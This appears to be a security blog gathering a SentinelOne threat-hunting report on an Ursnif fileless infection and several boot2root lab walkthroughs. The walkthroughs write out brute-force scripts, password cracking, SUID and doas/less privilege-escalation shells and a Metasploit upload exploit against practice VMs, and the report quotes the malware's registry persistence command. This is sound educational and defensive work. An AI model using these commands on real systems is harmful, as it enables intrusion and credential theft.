LOLBAS Threat Hunting

Late 2019, early 2020, I was given the opportunity to familiarize with SentinelOne and chose to conduct some ad hoc threat hunting. Since then, SentinelOne’s capabilities have significantly increased and Ursnif (more on that later) has evolved. Having finally received clearance to publish a sanitized version of my report in 2021, I felt that the process and findings were still relevant and could be useful to some. That shortened report follows.

Background

LOLBAS are binaries, scripts, and libraries that are typically found as a part of a normal Windows installation that can be used by an attacker for malicious purposes. It can be difficult to detect because it uses trusted, legitimate (and generally digitally signed) tools that are used by Windows. Protective measures like application whitelisting will often trust activity from these programs since they’re a normal part of the system’s operations, and a defender must comb through legitimate uses of each program in order to identify any malicious usage. Ultimately, if malicious activity is identified, it can be difficult to identify the attacker since they are using a Windows binary instead of their own malware.

One of the behaviors that was searched for was misuse of the Windows Management Instrumentation (WMI) Command line (WMIC) binary, wmic.exe. This maps to the MITRE ATT&CK Enterprise Technique T1218 (Signed Binary Proxy Execution) and to the MITRE Cyber Analytics Repository (CAR) Analytic CAR-2016-03-002 (Create Remote Process via WMIC).

Using the CAR or information from the LOLBAS Project , we know that one way to identify suspect WMIC behavior is by looking through command line logging for instances of wmic.exe that include the string “process call create.” For example:


wmic.exe process call create calc

In this instance, wmic.exe is being used to execute calc.exe.

The Hunt

Searching

Within SentinelOne, using the Visibility tool, we can identify similar activity with the following query:


ProcessName ContainsCIS "wmic.exe" AND ProcessCmd ContainsCIS "process call create"

This query will look for processes with a name that contains “wmic.exe” regardless of letter-case (it will match both “wMiC.exe” as well as “wmic.exe” and any other combination of cases) and a process command that contains the string “process call create” regardless of letter-case (CIS meaning “case insensitive”). With the time frame for our search set to “Last 3 Months” we get results like the following:

Identification

At this point, we don’t know whether we have identified malicious activity, but we know that our search for suspicious WMIC activity has returned results. Using Sentinel One Visibility, we can view the details of each of these processes by clicking on them.

Reviewing the “Command Line” details for the process, we can see here that wmic.exe is being utilized to create a new PowerShell process. That PowerShell process is executing a command via “iex” (abbreviation for “Invoke-Expression”).

That command is derived from the value of the registry key named

CfgSedui
that is saved at
HKCU:\Software\AppDataLow\Software\Microsoft\[UID]\
. That value is converted to a string and then converted from Bytes to ASCII text so that Invoke-Expression can execute it.

This is not a command that you would expect to see in a normally functioning Windows machine and is very likely malicious code being run on the device.  The next item to note is the frequency with which this code is running.

It is running each morning on an almost daily basis, with recurring gaps on Sundays and Wednesdays, suggesting that the malicious code is executing every time the user logs into their workstation. This hypothesis seems to be supported by the process tree, showing winlogon.exe as the great-grandparent to our process.

Persistence

There are a couple of different methods for executing instructions on a Windows device any time a user logs on. One is via scheduled tasks , and another is via registry run keys. Depending on agent version, SentinelOne can provide us with insight into registry key data and scheduled task execution. We know the time for each process, so we can run a new search for that time window to see what the device is doing.

Since there are only four in the relevant time window, it’s easy to review all the scheduled tasks to see if any look suspicious. None do. There is far more registry activity than scheduled task activity, so we will need to refine our search a bit. An example query can be seen below. Sadly, while the registry logging feature of SentinelOne is an exciting new addition, it doesn’t seem to quite capture all usage, particularly registry reads.

For example, we know that the suspicious wmic.exe command is reading the value of a registry key, however we see no such read reflected in the results above.

Understanding now that the registry activity data in SentinelOne, while great, is incomplete at best, we can next take advantage of an extremely powerful (if somewhat frightening) feature that now exists in SentinelOne: Remote Shell. If enabled via policy, and access is granted to the researcher as a user, then this will allow you to open an Administrative shell directly on the device in question. All commands and results are recorded during the session and made available in an encrypted archive for download later.

Using this shell, we can directly query the registry on the device with PowerShell. Knowing that the suspicious WMIC.exe process is running under the local user’s account, we will need to query their specific HKCU hive. Because our shell is an administrative shell and not running under the user in question, this means that we actually need to query

HKEY_USERS[SID]\
instead of HKEY_CURRENT_USER\[SID]. Starting with the common HKCU run locations, we quickly find a suspicious item in
HKEY_USERS\[SID]\Software\Microsoft\Windows\CurrentVersion\Run
.


PS C:\WINDOWS\TEMP> Get-ItemProperty-Path Registry::HKEY_USERS\[SID]\Software\Microsoft\Windows\CurrentVersion\Run.

...
Cameplua: C:\WINDOWS\system32\wbem\wmic.exe /output:clipboard process call create "powershell -w hidden iex([System.Text.Encoding]::ASCII.GetString((get-itemproperty 'HKCU:\Software\AppDataLow\Software\Microsoft\[UID]').CfgSedui))"
...

The value of

Cameplua
perfectly matches the command that we are seeing executed in SentinelOne. Given its location in the registry, it would execute any time the user with that SID logged in. We’ve found the source of our suspicious process.

Execution

Turning our attention next to the registry location mentioned in our process (

HKCU:\Software\AppDataLow\Software\Microsoft\[UID]
) we can query via our remote shell (once again using
HKEY_USERS\[SID]
).


PS C:\WINDOWS\TEMP> Get-ItemProperty-Path Registry::HKEY_USERS\[SID]\Software\AppDataLow\Software\Microsoft\[UID]

...
Cameplua: C:\WINDOWS\system32\wbem\wmic.exe /output:clipboard process call create "powershell -w hidden iex([System.Text.Encoding]::ASCII.GetString((get-itemproperty 'HKCU:\Software\AppDataLow\Software\Microsoft\[UID]').CfgSedui))"
...

Here we see the exact same value as in the Run registry. Looking at other keys in the same location, there are some other items of interest.


PS C:\WINDOWS\TEMP> Get-ItemProperty Registry::HKEY_USERS\[SID]\Software\AppDataLow\Software\Microsoft\[UID]\

...
Client32: {133, 184, 78, 156...}
Client64: {133, 184, 78, 156...}
CfgSedui: {36, 119, 100, 98...}
Cameplua: C:\WINDOWS\system32\wbem\wmic.exe
/output:clipboard process call
create "powershell -w hidden iex([Sys
tem.Text.Encoding]::ASCII.GetString((
get-itemproperty 'HKCU:\Software\AppD
ataLow\Software\Microsoft\[UID]
[UID-cont]').CfgSedui)
)"
Client: {89, 12, 0, 0...}
...

The value of the key

Cameplua
appears to be an array of decimal value. Taking a cue from the PowerShell command, if we convert those values to ASCII, then we see another command taking shape, the one that our suspicious wmic.exe process is executing. The array is extremely long and trying to print the entire thing proved to be too much for the remote shell to handle, so this is where our on-host investigation ended. Below is a sample of the ASCII text that is being executed. You can see that it is decoding Base64-encoded data provided via command-line argument and then converting to ASCII in a manner similar to the process that we have been investigating.


$wdbhynwlgv="hpxrkfbtfp";function twqmjhkpphn{$hcxf=[System.Convert]::FromBase64String($args[0]);[System.Text.Encoding]::ASCII.GetString($hcxf);};

Note, too, the registry keys

Client32
and
Client64
. It’s possible that these contain malicious code to be run on the system based on whether it is a 32-bit or 64-bit Windows installation. Considering the fact that the process tree in SentinelOne shows PowerShell spawning C# Compiler child processes, I suspect that the process is selecting the appropriate value and compiling and executing via
csc.exe
and
cvtres.exe
.

Findings

At this point, we’ve identified a Windows Registry Run key (T1547.001) using wmic.exe (T1218) to run PowerShell (T1059.001) which reads values from other registry keys (T1012) and executes code on the system. This is not behavior that you would find from benign programming but are clear signs of a fileless malware infection on the system. Googling various indicators leads to numerous analyses of Ursnif infections utilizing the same techniques, suggesting that we are dealing with the same on the client system. Assuming, for a moment, that this hypothesis is correct, that would suggest that the infection vector was via a malicious Microsoft Office document that was delivered via phishing email.

Walkthrough – FourAndSix 2.01

FourAndSix 2.01 is a boot2root aimed at beginners.  You can download it from vulnhub here.

Scanning & Vulnerability Analysis

First step is to find our target’s IP address. We’ll accomplish this with arp-scan


arp-scan -l

Our target is located at 192.168.56.102. The next step is to determine what ports are open, using nmap.


nmap -sV -T4 -O -F --version-light 192.168.56.102

Port :22

OpenSSH 7.9 is connected to port 22. Some cursory research with searchsploit reveals no likely vulnerabilities here.

Port :2049

There is a network file share running behind port 2049. We can use showmount to tell us what directory(ies) is being shared. Incidentally, we also learn the likely name of one of the users on the machine, too.

We make a directory to which we will mount that network share, and then mount it. Keep in mind, this isn’t downloading a copy of those files, we are connecting directly to the files on that computer. I forgot this while working with this target, and ended up doing a lot of the following work on the target machine rather than locally. Looking in the network share, we find a 7zip archive. The archive appears to contain a number of images, along with a public and private key. These might be useful for logging into the target via SSH!

Exploitation

7z Brute-Force

If we try to extract the files, though, we’ll find that the archive is password protected!

Luckily, JohnTheRipper (JTR) is capable of brute-forcing 7zip archive passwords. I quickly found that the tool to convert 7zip archives into a format that JTR can handle is included in the version installed on Kali. I followed the instructions at this post to get the correct version, and then progressed with brute-forcing. First, the password hash needs to be pulled from the archive with the following command:


/opt/JohnTheRipper/run/7z2john.pl backup.7z > backup.7z.hash

Then, using john and rockyou.txt, we can brute-force that hash.

Now that we have the password, we can extract the files from the archive.

Looks like the images are just fluff, we could always come back and look for some hidden information in them if we needed to. Let’s start with the id_rsa files, though.

SSH

Taking a look at the public key, the key’s comment is user@fourandsix2. This matches the directory name of the file share (/home/user/storage), and indicates that our username is likely literally “user”

Let’s try logging in with the key.

Unfortunately, the key is protected with a password, meaning we will have to brute force a second password. This is why it is best practice to protect authentication certificates whenever possible. If the user had not, we would already have authenticated access to his/her system.

SSH Brute-Force

Now I tried using john to crack this password, too, but I couldn’t get it to work. I even ended up checking some other write-ups to see if others had any success, and I couldn’t find anyone who had. Not the end of the world, though, we can write our own script to brute-force the credentials. It won’t be nearly as fast, but it should work.


#!/bin/bash

IFS=$'\n'       # make newlines the only separator
set -f          # disable globbing
for pass in $(cat < "$1"); do
  # echo "tester: $pass"
  if ssh-keygen -c -C "user@fourandsix" -P "$pass" -f "$2" &>/dev/null
    then
      echo "[+] Password Found: $pass"
      break
  fi
done

Success!

SSH Login

Now that we have a password, we can try logging in to the target again.

Reconnaissance

Unfortunately, sudo isn’t available, so that escalation isn’t available to us. With Toppo, we had success with files that had the suid bit set (see that walkthrough for a quick explanation of what this is and how it can be used). This time I tried a different one-liner to list all of the files owned by root that had that bit set.


find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

Vulnerability Analysis

doas

4th in the list is /usr/bin/doas. Of course sudo wasn’t available, I completely overlooked the OS type identified by nmap in the beginning. We’re working with an OpenBSD target, doas is like sudo but on OpenBSD machines. Let’s see if we can identify whether or not “user” is authorized to use doas.

“user” is allowed to read the contents of the authorization log as root using the command less. This is our ticket! less has a dangerous convenient feature that allows us to execute a shell from within the program. If we are allowed to run less as root, and we can open a shell from within less, we can likely escalate our privileges very easily.

Exploitation

doas less

Let’s read the contents of the auth log as root with less


doas /usr/bin/less /var/log/authlog

From within less, we can get a shell by typing ‘v’ which starts “visual mode” and allows us to enter in a command followed by ‘:!sh’ which opens up a new shell. Let’s see who we are.

We have root!

Bonus – Get Root Password

Let’s see if we can crack any user passwords. First step is to grab the passwd and shadow-equivalent files. The BSD equivalent of /etc/shadow is /etc/master.passwd. Since we have root, we can save each of these files to the file share, change the owner of these copies, and copy them onto our attacker machine.

Next, we use unshadow to convert these two files into a format that john can handle


unshadow passwd master.passwd > unshadowed

The password hashes are bcrypt hashes, we can use john and rockyou.txt to try to brute-force them.


john --format=bcrypt -w /usr/share/wordlists/rockyou.txt unshadowed

After a little bit, I was able to successfully crack the root password, princess1

Installing JohnTheRipper

Recently I was working on a boot2root called FourAndSix (walkthrough here), and I needed to brute force the password for an encrypted 7z archive. If you haven’t used it, JohnThe Ripper comes with all kinds of tools to pull hashes from various file types into a format the John can work with, a common example being unshadow. In this case, I found that the version of JTR that comes with kali doesn’t contain a lot of those tools, including the 7z one. There is a jumbo version out there that you can install to get access to an increased variety of tools.

I found a pretty good guide for installing this version of John here (or inserted below), and found it so useful that I wanted to save it for future use in Kali installations. So, with all due credit to webpwnized, I’m going to copy the content of his video here for future use. I encourage you to go ahead and watch the actual video if you want to set up the jumbo version of JTR, sometimes it’s better to watch along rather than read along, and he/she deserves the views for his/her work.

Before we can install our new version of JohnTheRipper, we have some prerequisites to work through. First:


apt install build-essential libssl-dev yasm libgmp-dev libpcap-dev libnss3-dev libkrb5-dev pkg-config libopenmpi-dev openmpi-bin zlib1g-dev libbz2-dev

Next, Rexgen prerequisites


apt install flex cmake bison git

Now Rexgen itself


cd /opt
git clone https://github.com/teeshop/rexgen.git
cd rexgen
./install.sh
ldconfig

Now we can download JohnTheRipper:


cd /opt
git clone https://github.com/magnumripper/JohnTheRipper.git

And install it


cd /opt/JohnTheRipper/src/
./configure --enable-mpi
make -s clean && make -sj4

Not only can this version of JTR do more, it’s a great deal faster than the version bundled with Kali. See the video below to see how to compare the two versions, webpwnized was able to get roughly 4 times faster speeds.

Walkthrough – Toppo

Toppo is a boot2root aimed at beginners.  You can download it from vulnhub here.

Scanning

First step is to find our target’s IP address. We’ll accomplish this via arp-scan

arp-scan -l
[...snip...]
10.10.10.22 00:0c:29:54:8d:88 VMware, Inc.
[...snip...]

Our target is located at 10.10.10.22. The next step is to determine what ports are open, using nmap.

nmap -p 1-65535 -T4 -A -v 10.10.10.22
[...snip...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind
[...snip...]

Port :22

OpenSSH 6.7p1 is running on port 22.  Our nmap scan also tells us that it is likely a Debian version.

Port :80

Apache httpd 2.4.10 is running on port 8.  Nmap states that it is likely a Debian version as well, again indicating that the target is likely a Debian box.

Vulnerability Analysis

SSH

A quick scan of searchsploit doesn’t return any exploits for our version of OpenSSH.  In theory, we could still try to brute force our way in, but without even knowing a username, this is unlikely to succeed.

HTTP

There don’t appear to be any useful exploits for our version of Apache, time to take a look at the website that is running.

It appears to be a Bootstrap CMS site.  This is my first time encountering them, and after a quick Google search, it doesn’t appear like there are any standard login portals like you might have with a WordPress site (wp-admin).  Nothing yielded by searchsploit either.  There’s also no robots.txt file!

Next step, nikto.

root@kali:~# nikto --host=http://10.10.10.22
[...snip...]
+ OSVDB-3268: /admin/: Directory indexing found.
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3268: /mail/: Directory indexing found.
+ OSVDB-3092: /mail/: This might be interesting...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
[...snip...]

/admin/ is indeed interesting.  It has directory indexing, meaning you can view all of the files located at that directory.  It contains one file titled notes.txt

Opening that file yields a lovely little note to self, with what appears to be a password!

At this point I spent a lot of time searching again for some sort of login page for management of the website, but had no luck.  That’s when I remembered that SSH is accessible.  It couldn’t be that easy…

Exploitation

SSH Login

Taking a guess that if the user’s password is 12345ted123, then maybe his username is ted, I tried to log in via SSH.

root@kali:~# sshpass -p 12345ted123 ssh ted@10.10.10.22

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jul 23 14:26:06 2018 from 10.10.10.23
ted@Toppo:~$

Reconnaissance

Sudo

It’s been simple enough so far, maybe ted is able to execute commands with sudo?  Let’s check:

ted@Toppo:~$ sudo -l
-bash: sudo: command not found

So sudo isn’t even available… interesting.

SUID

The suid bit in linux file permissions basically allows a user to execute a command as the owner of that file, rather than as your current user.  An example of this would be the passwd command.  Passwd modifies system files like /etc/passwd and /etc/shadow, something that requires root privileges.  That means that in order for a user to change their password, they need to be able to execute passwd as root.  Sometimes, files will have the suid bit set that can allow you to execute arbitrary commands, serving as a great privilege escalation vector.  For this reason, let’s search for files with SUID bit set, and see if there’s anything interesting.

The command that we will use is below:

find / -perm +4000 -user root -type f -print 2>/dev/null

The +4000 will search for files with SUID set, -user root only shows those owned by root.  If we are trying to escalate our privileges, we aren’t currently interested in running commands as users other than root. -type f will only return files, and not directories.  -print will output the entire path of matches, instead of just the file name.  And finally, 2>/dev/null redirects stderr to the bit bucket so we don’t have to see any errors about not having permission to search various folders.

The results are below:

/sbin/mount.nfs
/usr/sbin/exim4
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/python2.7
/usr/bin/chsh
/usr/bin/mawk
/usr/bin/chfn
/usr/bin/procmail
/usr/bin/passwd

There are two items that stand out, python and mawk.  Both of these are interpreters that can execute python and awk code, respectively.

Vulnerability Analysis

Python

Python can execute linux commands in a number of ways.  My method of choice is via pty.spawn, as shown below:

import pty
pty.spawn("/bin/sh")

The above lines will open a new sh shell. In order to execute that python code from the terminal, taking advantage of our suid bit on /usr/bin/python2.7, we’d execute the following:

ted@Toppo:~$ python -c 'import pty;pty.spawn("/bin/sh")'

Mawk

I believe that there are a number of ways that mawk could execute linux commands, the only one that I am familiar with is below:

mawk 'BEGIN {system("/bin/sh")}'

Exploitation

Both of the above two vulnerabilities should be usable to escalate to root privileges.  We’ll next test each of them

Python

ted@Toppo:~$ python -c 'import pty;pty.spawn("/bin/sh")'
# id
uid=1000(ted) gid=1000(ted) euid=0(root) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)
# hostname
Toppo
# cat /root/flag.txt
_________
| _ _ |
|_/ | | \_|.--. _ .--. _ .--. .--.
| | / .'`\ \[ '/'`\ \[ '/'`\ \/ .'`\ \
_| |_ | \__. | | \__/ | | \__/ || \__. |
|_____| '.__.' | ;.__/ | ;.__/ '.__.'
[__| [__|

Congratulations ! there is your flag : 0wnedlab{p4[censored]}

#

Without unispace fonts, it doesn’t turn out well, but that is supposed to say Toppo…

Mawk

ted@Toppo:~$ mawk 'BEGIN {system("/bin/sh")}'
# id
uid=1000(ted) gid=1000(ted) euid=0(root) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)
# hostname
Toppo
# cat /root/flag.txt
_________
| _ _ |
|_/ | | \_|.--. _ .--. _ .--. .--.
| | / .'`\ \[ '/'`\ \[ '/'`\ \/ .'`\ \
_| |_ | \__. | | \__/ | | \__/ || \__. |
|_____| '.__.' | ;.__/ | ;.__/ '.__.'
[__| [__|

Congratulations ! there is your flag : 0wnedlab{p4[censored]}

#

And there you have it, root!  And two different ways!  I recommend filing that suid search one-liner for future use, it can be extremely helpful if you’re stuck looking for priv esc vectors.

Walkthrough – DeRPnStiNK

DeRPnStiNK is a boot2root aimed at beginners. It contains 4 different flags in the following format: flag1(AB0BFD73DAAEC7912DCDCA1BA0BA3D05). The author tells us not to bother cracking the flag hashes as they have nothing to do with the challenge. You can download it from vulnhub here.

Scanning

First step is to find our target’s IP address. We’ll accomplish this with arp-scan.

arp-scan -l
[...snip...]
192.168.80.128 00:0c:29:ea:68:2f VMware, Inc.
[...snip...]

Our target is located at 192.168.80.128. Our next step is to determine what ports are open using nmap.

nmap -p 1-65535 -T4 -A -v 192.168.80.128
[...snip...]
Nmap scan report for 192.168.80.128
Host is up (0.0021s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 12:4e:f8:6e:7b:6c:c6:d8:7c:d8:29:77:d1:0b:eb:72 (DSA)
| 2048 72:c5:1c:5f:81:7b:dd:1a:fb:2e:59:67:fe:a6:91:2f (RSA)
| 256 06:77:0f:4b:96:0a:3a:2c:3b:f0:8c:2b:57:b5:97:bc (ECDSA)
|_ 256 28:e8:ed:7c:60:7f:19:6c:e3:24:79:31:ca:ab:5d:2d (EdDSA)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 2 disallowed entries
|_/php/ /temporary/
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: DeRPnStiNK
[...snip...]

Port :21

There is an FTP server running at port 21. nmap informs us that it is likely a version 3.0.2 vsftpd server, and connecting to the service with the ftp command confirms this. Unfortunately, it seems that the anonymous user has been disabled.

Port :22

OpenSSH 6.6.1p1 is running on port 22. nmap tells us that it is an Ubuntu version, providing a pretty good hint as to what OS our target is using.

Port :80

There is a web server running at port 80, powered by Apacher version 2.4.7.

Vulnerability Analysis

 

FTP

Searchsploit doesn’t return anything in terms of vulnerabilities for vsftpd 3.0.2.

SSH

The SSH service does not appear to be vulnerable to anything, either. Attempting to connect to the server shows that it password login is disabled in favor of private/public key pairs. Not going to be brute-forcing that.

HTTP

There do not appear to be any exploits for our version of Apache. Visiting the site yields a page without any links.

If we take a look at the source for the page, we find our first flag!

flag1

flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166)

Let’s root around the web server a bit more before pulling out some tools. Robots.txt tends to yield interesting results:

Unfortunately, neither of these directories yield anything, at first.

/php/ doesn’t directly resolve to anything

and /temporary/ provides some OSCP-style trolling. Time to use some tools. I generally run both dirb and nikto against any boot2root web server that I meet:

dirb http://192.168.80.128
[...snip...]                              
==> DIRECTORY: http://192.168.80.128/weblog/                                  
[...snip...]
==> DIRECTORY: http://192.168.80.128/php/phpmyadmin/                          
[...snip...]        
==> DIRECTORY: http://192.168.80.128/weblog/wp-admin/                          
==> DIRECTORY: http://192.168.80.128/weblog/wp-content/                        
==> DIRECTORY: http://192.168.80.128/weblog/wp-includes/                      
[...snip...]

Some interesting findings here. First, /php/ contains a phpmyadmin installation. This might yield some great information if we can log in. The second is that there is another directory at /weblog/ that contains a wordpress installation.

Nikto didn’t yield much of interest, the command that I used follows:

nikto --host=http://192.168.80.128

Let’s investigate this wordpress site. Attempting to navigate to it provides some difficulties:

The site is attempting to redirect to derpnstink.local. In order to resolve this domain, let’s add it to our /etc/hosts file:

Navigating to 192.168.80.128/weblog/ should now be successful

Now that we can access the site, let’s use wpscan to gather some information about it (note that after the scan has started, we divert from the default by telling it to follow redirection):

wpscan --url http://192.168.80.128/weblog --no-banner --enumerate
[...snip...]
[i] The remote host tried to redirect to: http://derpnstink.local/weblog/
[?] Do you want follow the redirection ? [Y]es [N]o [A]bort, default: [N]y
[+] URL: http://derpnstink.local/weblog/
[+] Started: Mon Mar 26 15:05:29 2018
[...snip...]
[!] Title: Slideshow Gallery < 1.4.7 Arbitrary File Upload
    Reference: https://wpvulndb.com/vulnerabilities/7532
    Reference: http://seclists.org/bugtraq/2014/Sep/1
    Reference: http://packetstormsecurity.com/files/131526/
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5460
    Reference: https://www.rapid7.com/db/modules/exploit/unix/webapp/wp_slideshowgallery_upload
    Reference: https://www.exploit-db.com/exploits/34681/
    Reference: https://www.exploit-db.com/exploits/34514/
[i] Fixed in: 1.4.7
[+] Enumerating usernames ...
[+] Identified the following 2 user/s:
    +----+-------------+---------------------------------+
    | Id | Login       | Name                            |
    +----+-------------+---------------------------------+
    | 1  | unclestinky | 404 Not                         |
    | 2  | admin       | admin – DeRPnStiNK Professional |
    +----+-------------+---------------------------------+
[...snip...]

Not only were we able to enumerate some users, but we’ve identified an arbitrary file upload vulnerability in one of the installed plugins! It’s an authenticated vulnerability, meaning that we will need some working credentials in order to exploit it.

Exploitation

 

WordPress Login

We know two users for WordPress: unclestinky and admin. admin sure sounds like a default user, so let’s start there. Guessing that the password might be the same as the username, we attempt to log in and find that we are successful!

File Upload Exploit To Get Shell

We have login credentials for what appears to be a limited account. This means that we can now use our authenticated arbitrary file upload vulnerability. There is a metasploit module for this vulnerability, which means that it should be pretty easy to execute.

exploit/unix/webapp/wp_slideshowgallery_upload

Set the appropriate settings and then run the exploit. It may take a little bit to finish, but eventually we will be awarded with a meterpreter session.

Opening a shell on our target, let’s see if we can find some database credentials. WordPress installations tend to contain a set of credentials for the website’s database in the wp-config.php file. Let’s upgrade our basic shell into a TTY session and dump the contents of that file.

python -c 'import pty; pty.spawn("/bin/sh")’
pwd
cd /var/www/html/weblog
cat wp-config.php

Success! We have another set of creds, these for MySQL.

phpMyAdmin

phpMyAdmin is a web interface for MySQL installations. Let’s see if our creds work here.

We’re in.

Let’s take a look around. The table wp_posts contains all of the posts, published and draft, for the web site. In this case, it also contains our second flag!

flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)

The WordPress database keeps users and password hashes in the wp_users table. Opening this table, we can get a hash for the unclestinky user.

Let’s see if we can use john and rockyou.txt to crack that hash.

echo -n "$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41" > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

After a bit, we have our password.

Escalation

The password for unclestinky is wedgie57. Moving back to our meterpreter shell, let’s see if we can escalate our privileges from a service account to a full user. Users often make the mistake of reusing the same passwords. Our target machine has a user named stinky, let’s see if his password is also wedgie57.

Another reminder of why good password practices are so important. We cracked stinky’s password in minutes and have now seized control of all of his accounts. Stinky’s home directory contains a lot of different directories and files. One of note is his ssh key. We can use this key to transition to a far more stable SSH session.

(Loving the South Park theme)

Let’s run a quick check to see if stinky is authorized to run sudo with sudo -l. This tells us all (if any) commands that the user is allowed to run via sudo.

That’s too bad. Looking in stinky’s Desktop folder, we find our third flag!

flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb)

Investigating the ftp directory, we find an interesting text file. It seems that there is a pcap file that captures another user’s account creation and login! Based on our experiences so far, there’s a good chance that this user reused his password on the target machine as well. This pcap is located in stinky’s Documents folder. Let’s transfer it to our machine so that we can open it with wireshark

scp -i stinky.key stinky@192.168.80.128:/home/stinky/Documents/derpissues.pcap /tmp/derpissues.pcap

Hunting through the pcap, eventually we stumble across TCP stream 37 which contains mrderp’s account creation.

It contains his password (twice, just to be safe) in plain text: derpderpderpderpderpderpderp.

Lateral Movement

Moving back to our SSH session, let’s try out those new creds and see if we can transfer to another user account.

Privilege Escalation

We’ve taken another user account. Let’s run that same sudo check, there’s no sense in trying complicated privilege escalations if our user account already has the requisite privileges.

Our user can run any command that is contained within the directory /home/mrderp/binaries/ and starts with the string derpy. Let’s make that directory and create a file in it.

In that file we’ll just put a simple command to open a new bash session. This session will be opened as the super user, meaning it should have root privileges.

Make it executable

chmod 700 binaries/derpyshell.sh

We have root! Let’s check out the /root/ directory.

And we have our final flag and have completed the box!
flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd)

Walkthrough – Basic Pentesting: 1

As suggested by its name, Basic Pentesting: 1 is a boot2root for beginners.  Its description says that it contains numerous vulnerabilities and priv esc routes, so this walkthrough may be updated as I try to go back and identify them all.  You can find the file here. The VM was created for virtualbox, but I found it to work with VMWare, too. The only time that there seems to be an issue is when you try to power off the target. But if you generate a snapshot of the VM before you start working on it (something I suggest anyway so that you can always return the target to a pristine state), then this is not a problem.

Scanning

First step is to find the target machine.  We’ll accomplish this through arp-scan which broadcasts ARP packets and prints any responses.

arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 32 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.10.7.1 00:50:56:c0:00:01 VMware, Inc.
10.10.7.9 00:0c:29:6a:43:65 VMware, Inc.
10.10.7.30 00:50:56:e2:d6:46 VMware, Inc.

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 32 hosts scanned in 2.077 seconds (15.41 hosts/sec). 3 responded

As the only hosts running on my lab network are my kali box and the target, our target must be located at 10.10.7.9.

At this point, it’s important to note that the creator suggests adding the host to your /etc/hosts file.  This is important to do.  Add the following line to /etc/hosts (change the IP to match your network)

10.10.7.9     vtcsec

Next step is to determine what ports are open using nmap.

nmap -p 1-65535 -T4 -A -v 10.10.7.9
Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-04 10:03 EST
NSE: Loaded 146 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 10:03
Completed NSE at 10:03, 0.00s elapsed
Initiating NSE at 10:03
Completed NSE at 10:03, 0.00s elapsed
Initiating ARP Ping Scan at 10:03
Scanning 10.10.7.9 [1 port]
Completed ARP Ping Scan at 10:03, 0.03s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 10:03
Scanning vtcsec (10.10.7.9) [65535 ports]
Discovered open port 21/tcp on 10.10.7.9
Discovered open port 80/tcp on 10.10.7.9
Discovered open port 22/tcp on 10.10.7.9
Completed SYN Stealth Scan at 10:03, 3.89s elapsed (65535 total ports)
Initiating Service scan at 10:03
Scanning 3 services on vtcsec (10.10.7.9)
Completed Service scan at 10:03, 9.93s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against vtcsec (10.10.7.9)
NSE: Script scanning 10.10.7.9.
Initiating NSE at 10:03
Completed NSE at 10:03, 24.19s elapsed
Initiating NSE at 10:03
Completed NSE at 10:03, 0.00s elapsed
Nmap scan report for vtcsec (10.10.7.9)
Host is up (0.00029s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3c
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d6:01:90:39:2d:8f:46:fb:03:86:73:b3:3c:54:7e:54 (RSA)
| 256 f1:f3:c0:dd:ba:a4:85:f7:13:9a:da:3a:bb:4d:93:04 (ECDSA)
|_ 256 12:e2:98:d2:a3:e7:36:4f:be:6b:ce:36:6b:7e:0d:9e (EdDSA)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:6A:43:65 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Uptime guess: 76.603 days (since Thu Oct 19 20:35:32 2017)
Network Distance: 1 hop
